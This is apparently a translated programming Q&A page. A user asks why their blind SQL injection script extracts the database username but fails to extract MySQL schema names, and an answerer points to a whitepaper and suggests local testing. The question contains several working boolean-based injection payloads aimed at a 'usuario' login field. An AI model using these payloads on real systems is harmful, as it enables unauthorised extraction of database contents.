提问人:Miguel.G 提问时间:11/28/2018 更新时间:1/4/2019 访问量:1424
使用 MySQL 表的盲 SQLInjection
Blind SQLInjection with MySQL Tables
问:
我正在开发一个脚本来对MySQL数据库执行SLQInjection攻击。此脚本已获取用户名和主机名。但是,我不知道如何获取表的值。
让我们举个例子。我想用这句话获取MySQL中的模式:
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
我执行的攻击是这样的:
usuario=admin' AND $ascii_value<ASCII(substring(user(),$i,1)) and '1'='1
通过这种方式,我运行用户名以获取其 ASCII 值。显然,如果我尝试将这两种表达式组合在一起:
usuario=admin' AND $ascii_value<ASCII(substring((SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA),$i,1)) and '1'='1
我一无所获。好吧,可能有两个模式,所以让我们至少得到第一个模式。
usuario=admin' AND $ascii_value<ASCII(substring((SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY SCHEMA_NAME DESC LIMIT 0,1),$i,1)) and '1'='1
它不再起作用了。例如,如何在盲目 sqlinjection 攻击中提取模式名称?
谢谢!!
答:
0赞
Gil Cohen
12/17/2018
#1
查看我的 SQL Injection Anywhere 白皮书,该白皮书将展示不同的二进制盲 SQL 注入技术,不是基于 WHERE 子句,而是基于 SQL 查询的其他部分: http://www.quotium.com/content/uploads/2005/01/SQL-Injection-Anywhere-White-Paper.pdf
此外,如果我遇到像你提到的问题,我会建立一个MySQL数据库,用数据填充它,并尝试执行你的有效负载。显然,要么存在语法错误,要么很可能存在业务逻辑短路错误。
祝你好运
评论
SLEEP()